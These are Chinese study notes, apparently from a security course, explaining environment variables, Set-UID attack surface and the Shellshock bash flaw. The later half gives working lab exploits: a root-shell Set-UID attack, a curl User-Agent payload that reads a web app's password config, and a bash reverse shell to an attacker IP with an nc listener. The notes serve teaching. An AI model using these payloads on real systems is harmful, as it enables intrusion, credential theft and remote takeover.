环境变量
什么是环境变量
环境变量是存储在进程中的一系列动态键值对,它们可以影响进程的行为。
可以通过局部变量envp获取,只能在main函数中使用
也可以用environ全局变量获取
也可以调用getenv(var_name)来获取
这个函数是在environ数组中搜索
也可以使用putenv(),setenv()和unsetenv()来改变修改和删除环境变量
进程获取环境变量的方式
使用fork()子进程继承父进程的所有环境变量
使用execve()第一个参数是新程序的路径
第二个参数是数组传入新程序的所有参数
第三个参数传环境变量
Shell变量与环境变量
shell是用户和操作系统交互的接口。
shell变量是shell程序维护的内部变量,他们可以影响shell程序的行为,也可以在shell脚本中使用这些变量,shell提供了允许用户创建和修改的内置命令
shell变量和环境变量是不同的,之所以会有困惑的产生是因为shell程序和环境变量关系紧密,但是其实shell变量是复制了一份环境变量,用作程序运行的参数,二者的修改互不影响,反之亦然
shell变量会影响子程序的环境变量,因为shell常用来执行程序,
当在shell中输入一个程序名运行的时候,
通常shell先fork一个子进程,
再调用execve()函数执行一个新程序
它会用自身的shell变量生成一个键值对数组,当做环境变量传入
即execve()第三参数
当然不是所有的shell的变量都可以
从环境变量复制得到的shell变量
用户自定义且标明为导出的export的shell变量
通过程序库攻击-例unix中的locale程序
在unix中,libc库中的gettext()和catopen()函数是用于这个目的。用来请求翻译信息。
调用函数库的时候使用一些可以自定义的环境变量就很危险
通过程序本身的代码攻击
如果是特权程序,使用环境变量不当,可能会导致就收不受信任的输入,进而影响程序
例如:再程序中使用getenv()函数获取环境变量
使用PWD环境变量中的信息,而这个值是从shell程序获得的。但是用户可以修改这个值,所以如果不检验,就有可能造成缓存区溢出攻击
使用环境变量时候必须要检查其合法性。
SET-UID机制与服务机制的比较
从性能角度。set-uid机制更好
从安全性角度,set-uid的攻击面会比服务更多,而这是由环境变量导致的,任何从非信任实体流向可信实体的数据信道都是潜在的攻击面
在基于服务的机制中,服务是特权父进程或操作系统启动的,环境变量来自可信实体,因此不会增加攻击面。
Shellshock攻击
背景知识:shell函数
$foo(){
echo "Inside function"
}
$declare -f foo
一个已经定义的
如何向子进程传入一个参数
第一种
在父进程中定义一个函数并且将它输出(export)给子进程,子shell进程就可以拥有这个函数
第二种
定义一个包含特殊内容的shell变量,以字符串形式存在的函数代码
把这个变量输出(export)这时候就不再是一个简单的变量,而是一个shell函数
当bash发现一个以一对圆括号开始的环境变量时候,它就将该变量转换成一个shell函数,而非一个shell变量
shellshock漏洞
泛指bash中所有相关的安全漏洞
bash源代码中的错误
bash调用parse_and_execute()函数来解析函数
它不仅仅可以解析函数定义,还可以解析和运行其他shell指令
当字符串只是一个函数定义,它只会解析不会运行
但是如果该字符串包含;隔开的多个shell命令,则它会解析并且执行 这带来了巨大的安全隐患
漏洞利用
首先要找到运行bash的进程,然后写一个含有函数定义的环境变量
再激发bash程序里有漏洞的解析代码,这样就可以让目标进程执行我们自己写的函数了
有三个场景:
利用shellshock攻击set-uid程序
基于一些set-uid程序使用system()来执行指令的原理
示例程序中使用setuid(getuid());使得真实用户id和有效用户id一样,但是并非是常规操作,比较low,但也确实存在,如果真实id和有效用户id不同,bash不会处理从环境变量中得到的函数定义。
流程
sudo ln -sf /bin/bash_shellshock /bin/sh
修改符号链接,让/bin/sh从指向没有漏洞的dash到有漏洞的bash_shellshock
sudo chown root vul
sudo chmod 4755 vul
exprot foo='(){echo hello; }; /bin/sh'
./vul
id
原理
运行vul时候,shell变量会变成子程序的环境变量,由于system函数的调用,bash会被调用,检查到环境变量foo中存了一个函数声明,因此会解析该声明
由于解析逻辑中的漏洞,她会执行;后的/bin/sh 因为运行在root环境下,所
以得到一个root权限的shell
利用shellshock攻击CGI程序
流程
编写一个简单的CGI程序,放在一台虚拟机上
#!/bin/bash_shellshock
echo "Content-type: text/plain"
echo
echo
echo "Hello World"
将该程序放在目标服务器的/usr/lib/cgi-bin目录中,并且将权限设置为775(可执行)。这些操作需要使用root权限,该目录宿舍Apache服务器默认CGI目录
攻击者10.0.2.70
目标服务器10.0.2.69
为了访问输入URL:http://10.0.2.69/cgi-bin/test.cgi
Apache web服务器使用fork()函数来新建一个进程,然后使用exec()函数族中的某个杂鱼函数执行CGI程序,因为CGI以"#!/bin/bash"开头所以该程序是一个shell脚本,将会执行bin/bash
触发bash是执行shellshock攻击成功的条件之一
另一个重要条件是攻击者必须通过环境变量为bash程序提供输入
因为是远程攻击,所以看哪些环境变量可以被远程用户控制
所以接下来就是探测哪些环境变量是我们可以提供的
将test.cgi修改
在最后一行加入
strings/proc/$$/environ可以打印出一个进程所有的环境变量
bash会将$$替换成当前进程的id
通过curl访问 -v命令可以打印出http请求和来自服务器的响应
curl -v http://10.0.2.69/cgi-bin/test.cgi
注意哪些字段是由攻击者这边提供的
发现user-agent字段是由客户端设置提供给服务器的
下一个问题是这个字段是否可以由用户提供
浏览器可以设置,但是太过繁琐
使用工具curl curl -A可以设置
通过设置不同的内容来达到不同的目的(注意点:函数的定义左右大括号的前后都需要有一个空格,如果没有这2个空格,就会出现语法错误。整个字符串将无法解析)
盗取密码:
原理:当一个web应用连接后台数据库时候,需要提供登入密码,而这些密码通常写在数据库中,或者存储在配置文件中,远程用户是无法读取的,但是服务器却可以。
curl -A "() { echo hello;}; echo Content-type: text/plain; echo; /bin/cat /var/www/CSRF/Elgg/elgg-config/settings.php"
http://10.0.2.69/cgi-bin/test.cgi
盗取文件,就是将web服务器目录试图压缩后发送到外部,这个过程需要设置正确的content-type来获得返回的非文件文本
反向shell
定义:让shell程序把它的输入输出都交给远程计算机的用户控制
实现的关键如何将输入输出流和错误设备重定向到一个网络连接
可以使用netcat(瑞士军刀)运行一个tcp服务器
nc -lv 9090 攻击机
服务器 /bin/bash -i > /dev/tcp/10.0.2.70/9090 0<&1 2>&1
/bin/bash -i 代表使用shell的可交互模式,在这个模式下会提供提示符
> /dev/tcp/10.0.2.70/9090 使得shell输出设备重定向到tcp连接
0<&1 文件描述符0代表标准输入设备,这个选项告诉系统将标准输出设备也用做标准输入设备。由于标准输出已经重定向到tcp连接,因此shell程序会从同一个停车票连接获得输入。tcp连接是一个双向设备,既可以往里面写数据,也可以读取数据。
2>&1 文件描述符2代表标准错误,使得错误输出被重定向到stdout,也是同一个tcp
流程
先攻击机运行一个tcp服务器,开启监听模式
然后发送恶意http请求
这个http请求打开了shell并且执行了/bin/bash -i > /dev/tcp/10.0.2.70/9090 0<&1 2>&1
返回一个反向shell
针对PHP的远程攻击
P58页
shellshock攻击需要满足2个条件
第一是执行有漏洞的bash
第二是传入用户数据作为环境变量
第一个条件,PHP中也有system函数,可以用它执行外部命令
第二个条件,Apache执行PHP有3种方式,分别为CGI,Apache组件,fastCGI
其中只有CGI运行才会有和上面CGI例子一样的效果,但是如果在调用system之前就已经修改了环境变量,那么他就还存在shellshock
总结
shellshock攻击利用bash程序的一个漏洞
构造一个特殊的环境变量,利用bash在将该环境变量转为函数定义的时候
末尾的内容将被意外执行。